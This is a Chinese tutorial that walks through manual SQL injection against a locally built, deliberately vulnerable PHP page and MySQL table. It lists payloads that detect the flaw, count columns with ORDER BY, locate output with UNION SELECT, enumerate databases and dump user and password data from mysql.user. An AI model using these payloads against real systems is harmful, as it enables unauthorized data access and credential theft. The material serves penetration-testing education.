mysql手工注入演示

演示环境准备:

php环境,存在漏洞的php脚本,mysql数据库以及数据表

php环境直接使用phpstudy即可

存在漏洞的脚本文件   




	sql注入测试页面

根据id值在数据库中查询用户信息

"; ?>
 

"; echo $row['id'] . "<--->" . $row['name']; echo "
"; } mysqli_close($con); ?>

phpstudy自带mysql数据库,数据库表的创建如下:

create table user(
	id int auto_increment,
	name varchar(50) not null,
	age int,
	primary key(id)
)default charset=utf8;

insert into user(name,age) values ('曹操',50);
insert into user(name,age) values ('刘备',55);
insert into user(name,age) values ('孙权',40);

然后再随意插入几条测试数据即可

 

重头戏来了,开始演示环节

1、    ?id=10'
    根据报错信息大致判断数据库类型为mysql数据库

mysql手工注入演示_第1张图片

 

 

2、    ?id=10 and 1=1        ?id=10 and 1=2
    两个payload的返回结果不一致,确定id参数存在注入点

mysql手工注入演示_第2张图片

mysql手工注入演示_第3张图片

 

 

3、    ?id=10 order by 1    ?id=10 order by 111111
    根据两个payload的返回结果可以知道此处支持order by,可以缩短对查询列数的判断时间

mysql手工注入演示_第4张图片

mysql手工注入演示_第5张图片

 

 

4、    ?id=10 order by 10
    程序报错,说明列数在1-10之间,后续二分法逐步查找   ?id=10 order by 6    ?id=10 order by 4        在?id=10 order by 3的时候程序返回正常,说明列数为3

mysql手工注入演示_第6张图片

 

 

5、    ?id=10 union all select 1,2,3
    判断数据在页面显示的位置,可以发现1,2 在页面显示,表明前两列可以作为后续查询使用

mysql手工注入演示_第7张图片

 

 

6、    ?id=10 union all select 1,schema_name,3 from information_schema.schemata
    查询出所有数据库的库名

mysql手工注入演示_第8张图片

 

 

7、    ?id=10 union all select user,password,3 from mysql.user
    查询mysql数据库的用户信息

mysql手工注入演示_第9张图片

 

8、    后续省略

你可能感兴趣的:(渗透测试)